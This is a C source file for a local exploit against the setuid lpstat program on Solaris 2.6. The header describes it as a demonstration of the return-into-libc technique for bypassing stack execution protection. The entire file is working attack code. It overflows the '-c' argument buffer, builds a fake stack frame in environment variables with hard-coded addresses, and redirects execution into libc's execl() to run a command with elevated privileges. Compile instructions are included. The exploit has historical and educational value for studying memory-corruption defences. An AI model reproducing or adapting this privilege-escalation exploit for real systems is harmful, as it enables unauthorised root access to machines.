/*
   lpstat exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>
 
   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for use.
 
   to compile:
 
   gcc lpstatex.c -o lpstatex -lprint -lc -lnsl -lsocket -ldl -lxfn -lmp [-lC]
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

#define BUF_LENGTH 1024

int main(int argc, char *argv[])
{
  char buf[BUF_LENGTH * 2];
  char teststring[BUF_LENGTH * 2];
  char *env[10];
  char fakeframe[512];
  char padding[64];
  char platform[256];

  void *handle;
  long execl_addr;

  u_char *char_p;
  u_long *long_p;
  int i;
  int pad=31;

  if (argc==2) pad+=atoi(argv[1]);

  if (!(handle=dlopen(NULL,RTLD_LAZY)))
    {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
    }

  if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
    {
      fprintf(stderr,"Can't find execl().\n");
      exit(1);
    }

  execl_addr-=4;

  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
      !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
    {
      fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
      exit(1);
    }

  printf("found execl() at %lx\n",execl_addr);

  char_p=buf;

  memset(char_p,'A',BUF_LENGTH);

  long_p=(unsigned long *) (char_p+1024);

  *long_p++=0xdeadbeef;

  /* Here is the saved %i0-%i7 */

  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xeffffb68; // our fake stack frame
  *long_p++=execl_addr;      // we return into execl() in libc
  *long_p++=0;

  /* now we set up our fake stack frame in env */

  long_p=(long *)fakeframe;

  *long_p++=0xdeadbeef; // we don't care about locals
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;
  *long_p++=0xdeadbeef;

  *long_p++=0xefffffac; // points to our string to exec
  *long_p++=0xefffffac; // argv[1] is a copy of argv[0]
  *long_p++=0x0;        // NULL for execl();
  *long_p++=0xefffffcc;
  *long_p++=0xeffffd18;
  *long_p++=0xeffffd18;
  *long_p++=0xeffffd18; // this just has to be somewhere it can work with
  *long_p++=0x11111111; // doesn't matter b/c we exec
  *long_p++=0x0;

  /* This gives us some padding to play with */

  memset(teststring,'A',BUF_LENGTH);
  teststring[BUF_LENGTH]=0;

  sysinfo(SI_PLATFORM,platform,256);

  pad+=20-strlen(platform);

  for (i=0;i<pad;padding[i++]='C')
    padding[i]=0;

  env[0]="";
  env[1]=(fakeframe);
  env[2]=&(fakeframe[40]);
  env[3]=&(fakeframe[40]);
  env[4]=&(fakeframe[40]);
  env[5]=&(fakeframe[44]);
  env[6]=teststring;
  env[7]="A=/bin/id";
  env[8]=padding;
  env[9]=NULL;

  execle("/usr/bin/lpstat","lpstat","-c",buf,(char *)0,env);
  perror("execle failed");
}
